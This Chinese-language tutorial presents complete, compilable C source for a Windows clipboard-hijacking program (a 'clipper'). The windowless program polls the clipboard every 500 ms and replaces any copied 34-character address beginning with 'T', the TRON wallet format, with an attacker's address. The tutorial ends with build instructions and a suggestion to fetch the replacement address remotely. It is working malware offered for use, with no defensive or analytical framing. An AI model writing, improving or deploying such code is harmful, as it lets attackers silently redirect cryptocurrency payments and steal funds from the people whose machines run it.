Windows端剪贴板劫持实现

示例

常见的剪贴板劫持虚拟货币钱包地址

一、C源码

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

#define TARGET_STRING "6666666666666666666666666666666666"

// 检查字符串是否匹配目标模式
int is_match(const char *str) {
    if (strlen(str) != 34 || str[0] != 'T') {
        return 0;
    }

    return 1;
}

// 设置剪贴板内容
void set_clipboard_content(const char *content) {
    if (OpenClipboard(NULL)) {
        EmptyClipboard();

        size_t len = strlen(content) + 1;
        HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
        if (hMem) {
            memcpy(GlobalLock(hMem), content, len);
            GlobalUnlock(hMem);
            SetClipboardData(CF_TEXT, hMem);
        }

        CloseClipboard();
    }
}

// 获取剪贴板内容
char *get_clipboard_content() {
    if (!OpenClipboard(NULL)) {
        return NULL;
    }

    HANDLE hData = GetClipboardData(CF_TEXT);
    if (!hData) {
        CloseClipboard();
        return NULL;
    }

    char *clipboard_data = GlobalLock(hData);
    char *result = clipboard_data ? _strdup(clipboard_data) : NULL;
    GlobalUnlock(hData);
    CloseClipboard();

    return result;
}

// Windows 应用程序入口点
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    char *clipboard_data = NULL;

    while (1) {
        Sleep(500); // 轮询间隔 500ms

        char *new_data = get_clipboard_content();
        if (new_data && (!clipboard_data || strcmp(new_data, clipboard_data) != 0)) {
            if (is_match(new_data)) {
                set_clipboard_content(TARGET_STRING);
            }
            free(clipboard_data);
            clipboard_data = new_data;
        } else {
            free(new_data);
        }
    }

    free(clipboard_data);
    return 0; // 确保主函数正常结束
}

打包

gcc test.c -o test.exe

扩展

可以将TARGET_STRING扩展为通过云端远程获取指定字符串